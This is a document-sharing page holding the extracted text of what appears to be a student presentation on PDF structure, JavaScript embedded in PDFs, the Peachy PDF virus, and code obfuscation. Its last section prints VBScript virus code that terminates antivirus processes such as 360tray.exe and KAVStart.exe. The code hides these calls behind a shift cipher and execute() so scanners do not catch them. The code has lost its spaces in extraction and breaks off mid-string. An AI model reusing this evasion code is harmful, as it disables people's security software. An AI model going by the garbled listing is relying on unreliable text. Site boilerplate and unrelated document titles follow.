版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
PDF代码混淆技术pdf-obfuscationB10040529宫天何B10040606杨静平B10040605李慧灵目录
PDF简介
PDF文件结构
PDF与JavaScript
代码混淆技术PDF简介
PDF是PortableDocumentFormat(便携文件格式)的缩写,是一种电子文件格式,与操作系统平台无关,由Adobe公司开发而成。PDF文件是以PostScript语言图象模型为基础,无论在哪种打印机上都可保证精确的颜色和准确的打印效果,即PDF会忠实地再现原稿的每一个字符、颜色以及图象。PDF文件结构
(1)文件头; (2)对象的建立声明; (3)交叉引用表; (4)文件尾。PDF文件结构
PDF文件结构
——关于对象: PDF文档是由一些称为“对象”的模块组成的。并且每个对象都有数字标号,这样的话可以这些对象就可以北其他的对象所引用。 ——定义方式: 30obj << /Type/Pages /Count1 /Kids[40R] >> endobj键值对对象名称结束标志PDF文件结构
HelloWorld文件头PDF文件结构
交叉引用表: 交叉引用表记录了每个对象在内存中的偏移地址。 文件尾: 文件尾部记录了根对象名、信息对象名、对象总数及交叉引用表在内存中的偏移地址。PDF文件结构
HelloWorld交叉引用表文件尾PDF文件结构
HelloWorldPDF文件结构
演示: 1.将该PDF的内容由flate压缩编码改成文本ASCII编码格式。 2.将“HelloWorld”改成“MyHelloWorld”。 技巧: 为了避免交叉引用表的修改,我们可以使用空格填充字符流对象使得该对象所占内存地址偏移量不变。
HelloWorldPDF文件结构
HelloWorld
20obj <</Length61>> streamBT /F124Tf100600Td (myHelloWorld)Tj ET endstream endobjPDF与JavaScript
AdobeAcrobatProfessional软件可以使商业人士能够可靠地创建、合并和控制AdobePDF文档,以便轻松且更加安全地进行分发、协作和数据收集。制作PDF文档的利器,办公必备。近年来,Adobe公司一直在努力使Acrobat从一款简单的PDF软件发展成一个完整的数码发布平台,甚至增加了对三维图片的支持。PDF与JavaScript
在PDF文件中可以嵌入JavaScript,例如: 80obj <</JS( //JavaScript代码 )/S/JavaScript>> endobjPDF与JavaScript
利用Acrobat在PDF中添加JavaScript动作: app.alert("Test"); app.launchURL ("",true);PDF与JavaScript
PeachyVirus
SecurityexpertshavefoundthefirstvirusabletopropagatethroughAdobe’sencryptedportabledocumentformat(PDF)files,aformatoncethoughttobevirtuallyimpenetrable. 目前安全专家发现了首例通过加密的PDF繁殖的病毒,以往这种方式是很难以理解的。PDF与JavaScript
PeachyVirus
NamedPeachybyexpertsatWebsecurityfirmMcAfeeonTuesday,thee-mailvirushidesitselfinPDFfilesandinfectsothercomputersystemsbysendingthefileasanattachmentthroughtheMicrosoftOutlooke-mailprogram. 这种叫做Peachy的病毒在周二被McAfee证实了。它通过邮件把自己隐藏在PDF文件中,并感染其余通过Outlook发送的文件。PDF与JavaScript
PeachyVirus
ThevirusexploitsafeatureinAcrobatthatcombinesotherfileswiththePDFcode. 该病毒通过Acrobat的某种特点,将其余文件与PDF代码进行合并。
——摘自abcNews代码混淆技术
代码混淆技术是一种重要的软件保护方法,混淆的实质就是一种变换,通过这种变换把原来的代码变成与其功能相同或相近的,但是更难被理解和反编译的代码。由于混淆技术可以根据不同的目的,不同的混淆对象采用不同的方法,这使得混淆方法非常多。代码混淆技术
JavaScript基本常用方法: (1)字母替换 (2)[]与数字 (3)eval()函数 (4)escape()函数 (5)加密技术 (6)随机变量名 …………代码混淆技术
采用简单的代码混淆技术混淆病毒代码。 这里将virus.vbs进行混淆。混淆方式采用加密方式和execute()函数。代码混淆技术
加密方式: 可以采用对称加密算法(如AES、RC4)进行加密。这里为了简单直观,采用了古典加密方式(仿射加密,取a=1,b=1) execute()函数: 类似于JavaScript中的eval()函数。使用方法为excute(Stringcode),其中code是代码的字符串形式,效果是执行该代码。
代码混淆技术
例如: execute("i=3") execute("j=i+1") msgbox(j) 结果为4。
代码混淆技术
Functionde(x) dimp,ch,i,l p="" l=Len(x) fori=1tol ch=mid(x,i,1) ch=chr(asc(ch)-1) p=p&ch next de=p endfunction
这是一个解密函数:它的效果是将字符串中每个字母的ASCII值减去1。例如:x="bcd"则,de(x)="abc"代码混淆技术
原来: CallKillProcess(ProcessNames) 可以混淆为: ss="Dbmm!LjmmQspdftt)QspdfttObnft*" ss=de(ss) execute(ss)
代码混淆技术
OnErrorResumeNext DimProcessNames dima0,a1,a2,a3,a4,a5,ssa0="mspaint.exe" a1="ras.exe" a2="360tray.exe" a3="SREng.exe" a4="USBAntiVir.exe" a5="KAVStart.exe" ProcessNames=Array(a0,a1,a2,a3,a4,a5) CallKillProcess(ProcessNames)
a0="ntqbjou/fyf" :a0=de(a0)a1="sbt/fyf"
:a1=de(a1)a2="471usbz/fyf"
:a2=de(a2)a3="TSFoh/fyf"
:a3=de(a3)a4="VTCBoujWjs/fyf"
:a4=de(a4)a5="LBWTubsu/fyf"
:a5=de(a5)ss="Dbmm!LjmmQspdftt)QspdfttObnft*"ss=de(ss)execute(ss)代码混淆技术
SetobjWMIServices=GetObject("winmgmts:\\"&strComputer&"\root\cimv2")SetcolProcessList=objWMIServices.Execquery("Select*Fromwin32_processwherename='"&ProcessName&"'")intReturn=objProcess.TerminateobjShell.Run"cmd.exe/c@tskill"&name_exe,0,Truess="Tfu!pckXNJTfswjdft!>!HfuPckfdu)#xjonhnut;]]#!'!tusDpnqvufs!'!#]sppu]djnw3#*"execute(de(ss))ss="Tfu!dpmQspdfttMjtu!>!pckXNJTfswjdft/Fyfdrvfsz)#!Tfmfdu!+!Gspn!xjo43`qspdftt!xifsf!obnf!>!(#!'!QspdfttObnf!'!#(!#*"execute(de(ss))ss="jouSfuvso!>!pckQsp
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 高考总复习英语(人教版)教师用书写作提升02体裁篇第1讲第2节演讲稿
- 一年级体育下册教案
- 小学安全教育教案 全
- KH550的水解工艺及其对表面改性的研究
- 2023-2024学年全国小学四年级上信息与技术人教版模拟考卷(含答案解析)
- 2024年江西客运资格证急救试题答案
- 2024年少儿终身保障保险合同样本
- 即食型金针菇产品加工产业园项目可行性研究报告
- 2024年铜川小型客运从业资格证考试真题保过
- 2024年拉萨驾驶员客运从业资格证模拟考试题答案
- 2024年山东临沂市人民检察院选任临沂市人民检察院听证员招聘笔试参考题库附带答案详解
- 化工和危险化学品企业重大事故隐患重点排查事项清单(参考模板)
- 《盘古开天地作业设计方案-2023-2024学年语文统编版》
- 学校食堂老鼠风险日管控参考清单、控制效果评估C级标准
- (正式版)SHT 3075-2024 石油化工钢制压力容器材料选用规范
- 高层建筑施工-形考作业3(第5-9章权重40%)-国开(HB)-参考资料
- 医美面诊技巧培训课件
- 2024年上海公安机关辅警招聘笔试参考题库附带答案详解
- 2024年中国诗词大会知识竞赛模拟题库及答案(120题)
- 细胞分裂产生新细胞说课
- 人教版小学数学六年级上册第四单元《比》单元作业设计
评论
0/150
提交评论